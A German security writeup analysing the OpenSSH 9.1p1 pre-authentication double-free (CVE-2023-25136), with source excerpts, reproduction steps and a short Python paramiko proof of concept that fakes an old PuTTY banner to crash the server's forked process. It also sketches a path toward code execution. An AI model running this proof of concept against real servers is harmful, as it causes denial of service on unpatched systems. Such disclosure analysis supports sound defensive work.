
OpenSSH Pre-Auth Double Free CVE-2023-25136 – Writeup und Proof-of-Concept
OpenSSH ist ein beliebtes Tool für sichere Kommunikation und Fernzugriff. Es wurde als freie Open-Source-Implementierung des Secure Shell (SSH)-Kommunikationsprotokolls entwickelt und wird häufig für verschiedene Anwendungen eingesetzt.
OpenSSH bietet eine sichere und verschlüsselte Verbindung zwischen zwei nicht vertrauenswürdigen Hosts über ein unsicheres Netzwerk und ist damit ein unverzichtbares Werkzeug für Fernzugriff und sicheren Dateitransfer.
Mit der zunehmenden Nutzung von Cloud-Computing und Fernzugriff auf Server ist OpenSSH zu einem entscheidenden Werkzeug für Systemadministratoren und Entwickler geworden, die remote auf Systeme zugreifen und diese sicher verwalten müssen.
OpenSSH unterstützt auch eine breite Palette von Plattformen, darunter Linux, macOS und Windows, und ist damit ein weit verbreitetes Tool in verschiedenen Betriebssystemen. Mit seiner Benutzerfreundlichkeit und starken Sicherheitsfunktionen hat sich OpenSSH zu einem Industriestandard für sicheren Fernzugriff entwickelt.
Am 2. Februar 2023 veröffentlichte OpenSSH Version 9.2p1 mit diesem Sicherheitshinweis. Sofort wurde klar, dass diese Version aufgrund der Pre-Auth-Double-Free-Schwachstelle von Interesse ist. Bei der Suche im GitHub-Repository von OpenSSH ist dies der Fix-Commit.
Die Commit-Nachricht gibt bz3522 an, was sich auf das von Benutzer Mantas Mikulėnas gemeldete Bugzilla-Issue bezieht.
In seinem Bericht erwähnt Mantas die Verwendung der veralteten PuTTY-Version 0.64 und fügt einen Backtrace des Double-Free-Abbruchs bei.
Um tiefer einzusteigen, haben wir eine Umgebung mit der anfälligen OpenSSH 9.1p1 eingerichtet und eine Kopie der alten PuTTY-Version 0.64 geholt, die vor 8 Jahren am 28. Februar 2015 veröffentlicht wurde.
Der folgende Fehler wurde nach dem Verbindungsversuch mit PuTTY 0.64 zum anfälligen OpenSSH-Server zurückgegeben:

Da die Schlüsselaustauschalgorithmen des veralteten Clients von der neuen OpenSSH-Version nicht unterstützt werden, haben wir die sshd_config-Datei bearbeitet, indem wir die folgende Zeile hinzugefügt haben: /etc/ssh/sshd_config : KexAlgorithms +diffie-hellman-group1-sha1
Nach dem Neustart des SSH-Servers und einem erneuten Versuch wurde folgender Fehler zurückgegeben:

Nach dem Hinzufügen einer weiteren Konfigurationszeile zur sshd_config konnten wir eine Verbindung zum anfälligen OpenSSH-Server herstellen und den Absturz reproduzieren:
HostKeyAlgorithms +ssh-rsa
Beim Ausführen des Servers im Debug-Modus (mit dem Flag -ddd) wurde folgende Debug-Meldung zurückgegeben:
ssh_sandbox_violation: unexpected system call (arch:0xc000003e,syscall:20 @ 0x7fd7473fb771) [preauth]
Die Syscall-Nummer 20 ist writev(), was mit dem Bugzilla-Bericht übereinstimmt.
Beachten Sie, dass die von uns vorgenommenen Konfigurationsänderungen nur dazu dienten, die Schwachstelle über PuTTY zu reproduzieren, und nicht erforderlich sind, um sie auszunutzen. Wie wir im PoC sehen werden, ist die Standardkonfiguration anfällig.
Wir begannen mit der Untersuchung des Fix-Commits, der besagt, dass compat_kex_proposal() für den Double-Free verantwortlich ist. Wenn die Verbindungskompatibilitätsoption SSH_OLD_DHGEX bei [1] wahr ist, wird das zweite Argument p bei [2] cp zugewiesen und später bei [3] freigegeben.
/* Always returns pointer to allocated memory, caller must free. */
char *
compat_kex_proposal(struct ssh *ssh, char *p)
{
char *cp = NULL;
if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0)
return xstrdup(p);
debug2_f("original KEX proposal: %s", p);
if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0)
if ((p = match_filter_denylist(p,
"[email protected]")) == NULL)
fatal("match_filter_denylist failed");
if ((ssh->compat & SSH_OLD_DHGEX) != 0) { [1]
cp = p; [2]
if ((p = match_filter_denylist(p,
"diffie-hellman-group-exchange-sha256,"
"diffie-hellman-group-exchange-sha1")) == NULL)
fatal("match_filter_denylist failed");
free(cp); [3]
}
debug2_f("compat KEX proposal: %s", p);
if (*p == '\0')
fatal("No supported key exchange algorithms found");
return p;
}
Der Aufruf von compat_kex_proposal() befindet sich innerhalb der Funktion do_ssh2_kex():
myproposal[PROPOSAL_KEX_ALGS] = prop_kex = compat_kex_proposal(ssh,
options.kex_algorithms);
Das freigegebene cp=p von compat_kex_proposal() bezieht sich auf das Argument options.kex_algorithms.
Bei der Suche nach kex_algorithms im Quellcode stießen wir auf das assemble_algorithms aus dem Absturz im Bugzilla-Bericht:
ASSEMBLE(kex_algorithms, def_kex, all_kex);
ASSEMBLE ist ein Makro zum Aufrufen der Funktion kex_assemble_names():
#define ASSEMBLE(what, defaults, all) \
do { \
if ((r = kex_assemble_names(&o->what, defaults, all)) != 0) \
fatal_fr(r, "%s", #what); \
} while (0)
Die Funktion kex_assemble_names() wird mit der Adresse von o->kex_algorithms als erstem Argument (das listp ist) aufgerufen. Hier erfolgt die zweite Freigabe.
int
kex_assemble_names(char **listp, const char *def, const char *all)
Da das Handle options.kex_algorithms freigegeben wurde und zu einem baumelnden Zeiger geworden ist, wird es erneut freigegeben, was zu einem Double-Free führt.
Aber wo wird die Option SSH_OLD_DHGEX gesetzt?
Innerhalb der Funktion compat_banner(), die Bug-Flags aus dem SSH-Protocol-Banner bestimmt. Eine Struktur namens check[] listet alle SSH-Client-IDs und ihre Flags auf. Der folgende Ausschnitt zeigt die Client-IDs, denen die Option SSH_OLD_DHGEX zugewiesen ist. Wir sehen auch, dass WinSCP dieses Verhalten möglicherweise ebenfalls auslösen kann.
{ "PuTTY_Local:*," /* dev versions < Sep 2014 */ "PuTTY-Release-0.5*," /* 0.50-0.57, DH-GEX in >=0.52 */
"PuTTY_Release_0.5*," /* 0.58-0.59 */
"PuTTY_Release_0.60*,"
"PuTTY_Release_0.61*,"
"PuTTY_Release_0.62*,"
"PuTTY_Release_0.63*,"
"PuTTY_Release_0.64*",
SSH_OLD_DHGEX },
{ "FuTTY*", SSH_OLD_DHGEX }, /* Putty Fork */
{ "WinSCP_release_4*,"
"WinSCP_release_5.0*,"
"WinSCP_release_5.1,"
"WinSCP_release_5.1.*,"
"WinSCP_release_5.5,"
"WinSCP_release_5.5.*,"
"WinSCP_release_5.6,"
"WinSCP_release_5.6.*,"
"WinSCP_release_5.7,"
"WinSCP_release_5.7.1,"
"WinSCP_release_5.7.2,"
"WinSCP_release_5.7.3,"
"WinSCP_release_5.7.4",
SSH_OLD_DHGEX },
Wir haben uns für die Erstellung eines Python-Denial-of-Service-Proof-of-Concept entschieden, aufgrund seiner Flexibilität und Portabilität. Der Proof-of-Concept löst den Double-Free mit dem Paket paramiko aus und verursacht einen Abbruch-Absturz.
paramiko ist eine weit verbreitete Python-SSH-Implementierung, die sowohl Server- als auch Client-Funktionalität bietet. Für den PoC haben wir das Banner der verbindenden Client-Version geändert, um einen veralteten Client wie PuTTY v0.64 widerzuspiegeln.
Verfügbar in unserem GitHub-Repository.
import paramiko
VICTIM_IP = "127.0.1"
CLIENT_ID = "PuTTY_Release_0.64"
def main():
transport = paramiko.Transport(VICTIM_IP)
transport.local_version = f"SSH-2.0-{CLIENT_ID}"
transport.connect(username='', password='')
if __name__ == "__main__":
main()
Der Exploit allokiert eine weitere Struktur namens EVP_AES_KEY anstelle des freigegebenen options.kex_algorithms. Sie wird später erneut freigegeben, wenn der Double-Free auftritt. Dann überschreibt sie deren Inhalt mit einem anderen Block, der authctxt->user oder authctxt->style verwendet.
Wenn EVP_Cipher() später versucht, dieses EVP_AES_KEY zu verwenden, wird es diesen Block verwenden, der es mit vom Angreifer kontrollierten Daten überschrieben hat.
Der OpenSSH-Daemon lauscht auf Verbindungen von Clients. Er forkt einen neuen Daemon für jede eingehende Verbindung. Die geforkten Daemons übernehmen Schlüsselaustausch, Verschlüsselung, Authentifizierung, Befehlsausführung und Datenaustausch.
Die Schwachstelle ist ein Double-Free, der theoretisch für einen Denial-of-Service ausgenutzt werden kann, wie unser Proof-of-Concept zeigt, und möglicherweise für Remote-Code-Ausführung (RCE), obwohl die Entwicklung eines funktionierenden Exploits aufgrund der vorhandenen Sicherheitsmaßnahmen wie einer Sandbox und dem Privilegientrennungsmechanismus als schwierig angesehen wird. Bei einem Denial-of-Service stürzen nur die geforkten Daemons ab, aufgrund einer Sandbox-Verletzung beim Versuch, writev() aufzurufen, sodass der Hauptserver-Daemon frei bleibt, um neue Clients zu bedienen.
Diese Schwachstelle wurde aus folgenden Gründen als hohe Schwere eingestuft:
Es sind keine Voraussetzungen erforderlich. Eine Standardkonfiguration ist anfällig.
Wenn keine Speicher-Exploit-Minderungen (wie ASLR oder NX) angewendet werden, ist RCE gemäß einer aktuellen Veröffentlichung möglich.
Was einen Denial-of-Service-Angriff betrifft, ist das Abstürzen eines geforkten Worker-Prozesses viel weniger schwerwiegend als ein DoS, der einen wichtigen Daemon zum Absturz bringt, aber beide erhalten eine „Hohe“ CVSS-Bewertung der Verfügbarkeitsauswirkung.
Beachten Sie, dass OpenSSH Sicherheitsmaßnahmen wie eine Sandbox und einen Privilegientrennungsmechanismus implementiert hat, diese sollten jedoch die Schwere des möglichen RCE-Angriffs nicht mindern.
Die Schwachstelle betrifft nur OpenSSH Version 9.1p1 mit einer Standardkonfiguration, d.h. es sind keine Voraussetzungen erforderlich.